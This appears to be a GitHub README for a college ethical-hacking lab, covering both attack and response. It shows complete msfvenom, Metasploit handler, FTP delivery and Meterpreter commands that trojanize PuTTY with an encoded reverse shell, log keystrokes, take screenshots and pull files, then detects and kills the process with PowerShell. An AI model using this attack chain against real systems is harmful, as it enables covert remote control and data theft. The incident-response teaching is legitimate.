Mvrcoz/Metasploit-RAT-IR

GitHub: Mvrcoz/Metasploit-RAT-IR

一个结合攻击与防御的网络安全实验项目,演示了 Metasploit RAT 的部署流程以及使用 PowerShell 进行事件响应检测与清除的完整过程。

Stars: 0 | Forks: 0

# Metasploit RAT — 部署与事件响应 ### CySA+ 实验室 · 道德黑客 · CIS196 · 赛普拉斯学院 [![工具](https://img.shields.io/badge/Tools-Metasploit%20·%20MSFVenom%20·%20Meterpreter-212C42?style=for-the-badge&logo=kalilinux&logoColor=white)]() [![事件响应](https://img.shields.io/badge/IR-PowerShell%20·%20TCP%20Analysis%20·%20Process%20Kill-0078D4?style=for-the-badge&logo=windows&logoColor=white)]() [![类型](https://img.shields.io/badge/Type-Offensive%20%2B%20Defensive%20Lab-555?style=for-the-badge)]()
## 概述 ``` Objective : Create and deploy a RAT, establish C2 access, then detect and kill it via IR Environment: Kali Linux (attacker) · WinClient (victim) · Ubuntu · Windows 2012 R2 Network : 192.168.1.0/24 — LAN-only segmented lab environment Date : October 7, 2023 Course : CIS196 Ethical Hacking (CySA+ aligned) — Cypress College ``` 本次实验涵盖了远程访问木马(RAT)攻击的双面性——攻击性部署与防御性事件响应。使用 Metasploit 框架和 MSFVenom,将木马注入到合法的可执行文件中,并通过 FTP 传送到受害者机器。随后建立了 Meterpreter 会话以进行后渗透。在最后阶段,视角切换到防御者——使用 PowerShell 检测活动的 C2 连接,识别恶意进程并将其终止。 ## 实验环境 | 机器 | 角色 | IP | |---|---|---| | Kali Linux | 攻击者 — payload 创建,C2 服务器,Meterpreter 控制 | 192.168.1.3 | | WinClient | 受害者 — RAT 部署的目标 | 192.168.1.5 | | Ubuntu | 辅助服务器 | 192.168.1.4 | | Windows 2012 R2 | 域控制器 | 192.168.1.2 | ## 什么是远程访问木马? 远程访问木马(RAT)是一种恶意软件,它会秘密潜入受害者机器并为攻击者打开一个持久的后门。主要行为包括: | 阶段 | 发生的情况 | |---|---| | **感染** | 通过网络钓鱼、软件漏洞或社会工程学进行传播 | | **持久化** | 确保在重启后仍能存在于系统中 | | **通信** | 向外连接到攻击者控制的 C2 服务器 | | **控制** | 攻击者发送命令 — 窃取数据、捕获键盘记录、截取屏幕 | | **数据渗出** | 将敏感数据回传给攻击者 | | **横向移动** | RAT 可能会传递额外的恶意软件或跳板到其他系统 | 外联连接模型(反向 TCP)特别危险,因为它绕过了入站防火墙规则 — 是受害者机器向攻击者发起连接,而不是反过来。 ## 什么是 MSFVenom? MSFVenom 是 Metasploit 的 payload 生成器和编码器。它可以创建各种格式的恶意 payload — 可执行文件、脚本、shellcode — 并将其嵌入到合法文件中。`meterpreter_reverse_tcp` payload 会建立一个反向 TCP shell:一旦在受害者机器上执行,它就会回调到攻击者的 C2 服务器并打开一个完全交互式的会话。 ## 什么是 C2 服务器? 命令与控制(C2)服务器是攻击者用于管理受感染机器的远程枢纽。一旦 RAT 回连成功,攻击者就可以下达命令、渗出数据、部署额外的恶意软件并维持持久的访问权限。在本次实验中,Metasploit 的 `exploit/multi/handler` 充当了 C2 监听器。 ## 攻击链 ### 阶段 1 — 使用 MSFVenom 创建 Payload 在 Kali 上使用 MSFVenom 将 `meterpreter_reverse_tcp` payload 注入到 `puttyA.exe` — 一个合法的 SSH 客户端 — 中,创建了名为 `puttyTrojan.exe` 的木马化可执行文件。编码器 `x64/zutto_dekiru` 应用了 3 次迭代,以混淆 payload 从而规避防病毒检测。 ``` msfvenom -a x64 --platform windows \ -p windows/x64/meterpreter_reverse_tcp \ -e x64/zutto_dekiru -i 3 \ -f exe -x puttyA.exe \ -o puttyTrojan.exe \ LHOST=192.168.1.3 LPORT=5000 ``` ![MSFVenom payload 创建 — puttyTrojan.exe 保存大小为 1,073,664 字节](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/3726c7dfa4215945.png) 最终的木马文件大小为 1,073,664 字节。当受害者执行它时,它会正常运行原始的 PuTTY 应用程序 — 同时秘密建立与攻击者的后门连接。 ### 阶段 2 — C2 服务器设置 在 Kali 上启动 Metasploit 的 `multi/handler`,以监听来自受害者机器的反向 TCP 回调。 ``` msfdb start msfconsole msf > use exploit/multi/handler msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter_reverse_tcp msf exploit(multi/handler) > set LHOST 192.168.1.3 msf exploit(multi/handler) > set LPORT 5000 msf exploit(multi/handler) > run ``` ![C2 handler 已启动 — 正在监听 192.168.1.3:5000](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/9ecf484522215950.png) handler 现在正在等待。任何执行了该木马的机器都会自动回连到此处并打开一个 Meterpreter 会话。 ### 阶段 3 — 通过 FTP 交付 使用命令行 FTP 将 `puttyTrojan.exe` 传输到受害者的 FTP 服务器(WinClient — 192.168.1.5),并将其重命名为 `putty.exe` 以伪装其恶意本质: ``` ftp 192.168.1.5 21 ftp> binary ftp> put puttyTrojan.exe putty.exe # 已发送 1,077,285 字节 — 传输完成 ``` 一旦受害者从 `C:\FTP\putty.exe` 双击该文件,攻击者的 C2 上就会打开 Meterpreter 会话。 ### 阶段 4 — 后渗透 利用活动的 Meterpreter 会话,在受害者机器上执行了以下操作: ``` # 迁移至 explorer.exe 以便即使受害者关闭 PuTTY 也能保持持久化 meterpreter> migrate -N explorer.exe # 检查当前用户上下文 meterpreter> getuid # 服务器用户名: CYSA\student # 对受害者桌面进行静默截屏 meterpreter> screenshot # 启动键盘记录器 meterpreter> keyscan_start # 从受害者下载文件 meterpreter> download C:/users/student/documents/Labdownload.txt # 尝试凭据转储(失败 — 权限不足) meterpreter> run post/windows/gather/hashdump ``` ![Hashdump 尝试 — 访问被拒绝,权限不足](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/52997786b8215955.png) hashdump 失败了,因为 student 账户缺乏 SYSTEM 级别的权限。这是一个非常现实的结果 — 在真实的攻击中,下一步将是权限提升。 ## 事件响应 — 防御者视角 ### 阶段 5 — 通过 PowerShell 检测 C2 连接 切换到 WinClient 并使用 PowerShell 识别回连到攻击者的活动连接: ``` Get-NetTCPConnection -RemoteAddress 192.168.1.3 | Format-List ``` ![检测到 PowerShell TCP 连接 — 192.168.1.5:1583 → 192.168.1.3:5000,OwningProcess 4668](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/0286126e3e220000.png) 输出揭示了全貌:本地端口、远程 C2 地址和端口、连接状态(已建立),以及最关键的 — **OwningProcess ID**。这个进程 ID 是查找并终止恶意连接的关键。 ``` # 识别进程 Get-Process -Id 4668 | Format-List * # 路径: C:\FTP\putty.exe ← 确认木马位置 ``` ### 阶段 6 — 终止进程,关闭会话 ``` Kill 4668 # 确认: Y ``` ![进程已终止 — meterpreter 会话已关闭](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/b718928ff9220006.png) 终止进程立即结束了攻击者端的 Meterpreter 会话 — 这可以通过 Kali 终端中出现的 `Meterpreter session closed. Reason: Died` 来确认。 ## 关键发现 | 阶段 | 操作 | 结果 | |---|---|---| | Payload 创建 | MSFVenom 注入到 puttyA.exe | puttyTrojan.exe — 1,073,664 字节 | | C2 设置 | multi/handler 监听端口 5000 | 反向 TCP handler 已激活 | | 交付 | FTP 传输到 C:\FTP\putty.exe | 木马已部署,伪装成 PuTTY | | 后渗透 | migrate, screenshot, keylogger, download | 建立了对受害者的完全控制 | | Hashdump | run post/windows/gather/hashdump | 失败 — 权限不足 | | 检测 | Get-NetTCPConnection | 识别出 C2 连接和进程 ID | | 补救 | 终止进程 4668 | Meterpreter 会话被终止 | ## 事件响应中的 PowerShell PowerShell 是 Windows IR 分析师可用的最强大的工具之一。在本次实验中,它被用于: - **枚举活动的 TCP 连接** — `Get-NetTCPConnection` 显示所有连接,包括远程 IP、端口、状态和拥有的进程 ID - **识别恶意进程** — `Get-Process -Id | Format-List *` 显示完整的文件路径,从而确认木马的位置 - **终止会话** — `Kill ` 结束进程并立即切断 C2 连接 这是真实的 SOC 分析师在活跃的事件中所使用的相同工作流程 — 识别可疑的外联连接,将其追溯到某个进程,确认文件路径,并将其终止。 ## 演示概念 - 远程访问木马架构和反向 TCP 连接模型 - MSFVenom payload 生成和可执行文件注入 - 使用编码器规避 AV (`x64/zutto_dekiru`) - Metasploit `multi/handler` C2 服务器配置 - 基于 FTP 的木马交付和通过文件名伪装的社会工程学 - Meterpreter 后渗透:进程迁移、键盘记录、屏幕截图、文件下载 - 权限提升的局限性 — 没有 SYSTEM 上下文环境下的 hashdump - 基于 PowerShell 的事件响应:TCP 连接枚举和进程终止 - 完整的攻击生命周期 — 从 payload 创建到会话终止 ## 在生产环境中我会如何改进 **端点检测与响应(EDR)。** 现代的 EDR 解决方案会在执行点标记由 MSFVenom 生成的 payload — 即使进行了编码,行为分析也能检测到反向 shell 的回调模式。 **网络监控。** 从 `C:\FTP\putty.exe` 到内部 IP 上非标准端口(5000)的外联连接,在任何合格的 SIEM 中都应触发警报。这是一个明显的 IOC。 **FTP 强化。** 匿名或身份验证薄弱的 FTP 服务器是一个简单的交付载体。在生产环境中,应使用 SFTP 替代 FTP,按 IP 限制访问,并记录所有文件传输。 **最小权限原则。** hashdump 失败是因为 student 账户缺乏管理员权限。这是正确的做法 — 最小权限原则限制了攻击者在获得初始立足点后能做的事情。 **进程白名单。** 诸如 AppLocker 或 Windows Defender Application Control 等应用程序控制工具,将从一开始就阻止 `C:\FTP` 中的 `putty.exe` 执行。 ## 相关 [![作品集](https://img.shields.io/badge/GitHub-Mvrcoz-181717?style=for-the-badge&logo=github)](https://github.com/Mvrcoz) [![TryHackMe](https://img.shields.io/badge/TryHackMe-Top%2015%25-212C42?style=for-the-badge&logo=tryhackme&logoColor=red)](https://tryhackme.com/p/Marcoz) [![LinkedIn](https://img.shields.io/badge/LinkedIn-marcoz--tech-0A66C2?style=for-the-badge&logo=linkedin)](https://www.linkedin.com/in/marcoz-tech/)] `metasploit` `msfvenom` `meterpreter` `rat` `incident-response` `powershell` `kali-linux` `ethical-hacking` `cysa-plus` `cybersecurity`
标签:AI合规, DAST, IPv6, IP 地址批量处理, OpenCanary, PowerShell, 安全实验, 库, 应急响应, 恶意软件分析, 网络信息收集, 网络安全, 隐私保护